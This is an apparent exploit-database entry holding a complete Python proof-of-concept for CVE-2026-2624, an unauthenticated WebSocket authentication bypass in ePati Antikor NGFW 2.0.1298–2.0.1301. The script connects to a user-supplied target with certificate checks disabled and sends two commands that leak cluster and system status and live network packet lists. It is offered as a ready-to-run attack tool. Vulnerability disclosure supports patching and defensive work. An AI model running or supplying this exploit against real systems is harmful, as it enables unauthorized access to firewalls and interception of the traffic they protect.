📄 ePati Antikor NGFW 2.0.1301 Authentication Bypass

# Exploit Title: ePati Antikor NGFW 2.0.1301 -  Authentication Bypass 
    # Date: 2026-04-13
    # Exploit Author: [SADIK ERTÜRK]
    # Vendor Homepage: https://www.epati.com.tr/
    # Software Link: https://www.epati.com.tr/antikor-ngfw/
    # Version: v.2.0.1298 - v.2.0.1301
    # Tested on: Linux / Antikor OS
    # CVE: CVE-2026-2624
    
    import websocket
    import json
    import ssl
    import sys
    import argparse
    import random
    import string
    import time
    
    def banner():
        print("-" * 65)
        print(" ePati Antikor NGFW Unauthenticated WebSocket Exploit")
        print(" CVE-2026-2624 | Author: [SADIK ERTÜRK]")
        print("-" * 65)
    
    def generate_random_id(length=8):
        """Generates a random session ID for the SockJS connection."""
        return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
    
    def exploit(target_ip, target_port):
        # Generating random server and session IDs for SockJS
        server_id = random.randint(100, 999)
        session_id = generate_random_id()
        
        ws_url = f"wss://{target_ip}:{target_port}/sock/{server_id}/{session_id}/websocket"
        print(f"[*] Target WebSocket URL created: {ws_url}")
        print("[*] Connecting to the target... (Ignoring SSL certificate warnings)")
    
        try:
            # Bypassing Self-Signed SSL certificate verifications
            ws = websocket.WebSocket(sslopt={"cert_reqs": ssl.CERT_NONE})
            ws.connect(ws_url)
            print("[+] Connection Successful! (Authentication bypassed)\n")
            
            # Payload 1: Listening to Cluster and System Status
            payload_1 = json.dumps(["{\"istekId\":\"req_init_01\",\"komut\":\"rapor-dinle\",\"parametreler\":[\"cluster-durum\"]}"])
            print("[*] Sending 1st payload: 'rapor-dinle' (cluster-status)...")
            ws.send(payload_1)
    
            # Wait for the response from the server
            time.sleep(1) 
            response_1 = ws.recv()
            
            if response_1:
                print("[+] SUCCESSFUL! Sensitive system data successfully leaked:")
                print(f"> {response_1}\n")
            
            # Payload 2: Listening to Network Packets
            payload_2 = json.dumps(["{\"istekId\":\"req_101\",\"komut\":\"paket-liste-dinle\",\"parametreler\":[]}"])
            print("[*] Sending 2nd payload: 'paket-liste-dinle' (network-packet-list)...")
            ws.send(payload_2)
            
            time.sleep(1)
            response_2 = ws.recv()
            
            if response_2:
                print("[+] Network packet data captured:")
                print(f"> {response_2}\n")
    
            print("[*] Exploitation complete. Closing connection.")
            ws.close()
    
        except websocket.WebSocketException as e:
            print(f"[-] WebSocket Error: {e}")
            print("[-] The target might be patched (v.2.0.1302+) or the port is closed.")
            sys.exit(1)
        except Exception as e:
            print(f"[-] An unexpected error occurred: {e}")
            sys.exit(1)
    
    if __name__ == "__main__":
        banner()
        
        # Argument parsing
        parser = argparse.ArgumentParser(description="ePati Antikor NGFW WebSocket Auth Bypass PoC")
        parser.add_argument("-t", "--target", required=True, help="Target IP or Hostname (e.g., 192.168.1.10)")
        parser.add_argument("-p", "--port", default="8800", help="Target Port (Default: 8800)")
        
        args = parser.parse_args()
        
        exploit(args.target, args.port)